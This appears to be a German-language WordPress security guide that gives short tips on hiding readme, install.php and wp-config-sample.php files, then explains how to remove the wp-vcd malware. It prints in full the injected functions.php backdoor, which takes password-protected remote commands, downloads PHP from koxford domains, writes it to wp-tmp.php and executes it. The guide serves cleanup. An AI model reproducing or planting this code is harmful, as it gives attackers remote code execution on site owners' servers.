Zugriff auf sensible WordPress-Dateien verhindern

  • Im Hauptverzeichnis der WordPress-Installation befinden sich zum Beispiel Readme-Dateien, die eure Versionsnummer verraten.
  • Sollte sich noch im Ordner wp-admin die install.php befinden, solltet ihr diese auf jeden Fall entfernen.
  • In der wp-config-sample.php werden nicht selten die Verbindungsdaten eingetragen und liegen gelassen.
  • wp-tmp.php Malware aus WordPress entfernen

    Startet mit Wordfence einen Scan-Durchlauf. Anschließend werden die Dateien wp-tmp.php, wp-feed.php und wp-vcd.php ausfindig gemacht und als gefährlich eingestuft. Leider seid ihr Opfer einer Hacker-Attacke.

    So könnt ihr die Malware aus WordPress entfernen

    Datei functions.php (liegt im aktiven Themes-Ordner, möglicherweise sind aber auch andere Themes-Ordner davon befallen):

    Entfernt folgenden Code-Schnipsel der Hacker:

    <?php
    if (isset($_REQUEST[‚action‘]) && isset($_REQUEST[‚password‘]) && ($_REQUEST[‚password‘] == ‚5ccbe236a0afdfe75fe15ca0015ea2e1‘))
    {
    $div_code_name=“wp_vcd“;
    switch ($_REQUEST[‚action‘])
    {

    case ‚change_domain‘;
    if (isset($_REQUEST[’newdomain‘]))
    {

    if (!empty($_REQUEST[’newdomain‘]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‚/\$tmpcontent = @file_get_contents\(„http:\/\/(.*)\/code\.php/i‘,$file,$matcholddomain))
    {

    $file = preg_replace(‚/‘.$matcholddomain[1][0].’/i‘,$_REQUEST[’newdomain‘], $file);
    @file_put_contents(__FILE__, $file);
    print „true“;
    }

    }
    }
    }
    break;

    case ‚change_code‘;
    if (isset($_REQUEST[’newcode‘]))
    {

    if (!empty($_REQUEST[’newcode‘]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‚/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i‘,$file,$matcholdcode))
    {

    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[’newcode‘]), $file);
    @file_put_contents(__FILE__, $file);
    print „true“;
    }

    }
    }
    }
    break;

    default: print „ERROR_WP_ACTION WP_V_CD WP_CD“;
    }

    die(„“);
    }

    $div_code_name = „wp_vcd“;
    $funcfile = __FILE__;
    if(!function_exists(‚theme_temp_setup‘)) {
    $path = $_SERVER[‚HTTP_HOST‘] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[‚REQUEST_URI‘], ‚wp-cron.php‘) == false && stripos($_SERVER[‚REQUEST_URI‘], ‚xmlrpc.php‘) == false) {

    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }

    function theme_temp_setup($phpCode)
    {
    $tmpfname = tempnam(sys_get_temp_dir(), „theme_temp_setup“);
    $handle = fopen($tmpfname, „w+“);
    if( fwrite($handle, „<?php\n“ . $phpCode))
    {
    }
    else
    {
    $tmpfname = tempnam(‚./‘, „theme_temp_setup“);
    $handle = fopen($tmpfname, „w+“);
    fwrite($handle, „<?php\n“ . $phpCode);
    }
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
    }

    $wp_auth_key=’9b42c8e084a4b2f04f9c37de47729695′;
    if (($tmpcontent = @file_get_contents(„http://www.koxford.com/code.php“) OR $tmpcontent = @file_get_contents_tcurl(„http://www.koxford.com/code.php“)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(„http://www.koxford.me/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(„http://www.koxford.xyz/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }
    elseif ($tmpcontent = @file_get_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‚/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(‚wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    }

    }
    }

    //$start_wp_theme_tmp

    //wp_tmp

    //$end_wp_theme_tmp
    ?>

    Zuletzt müsst ihr die fremden Dateien wp-tmp.php, wp-feed.php und wp-vcd.php vom Server entfernen.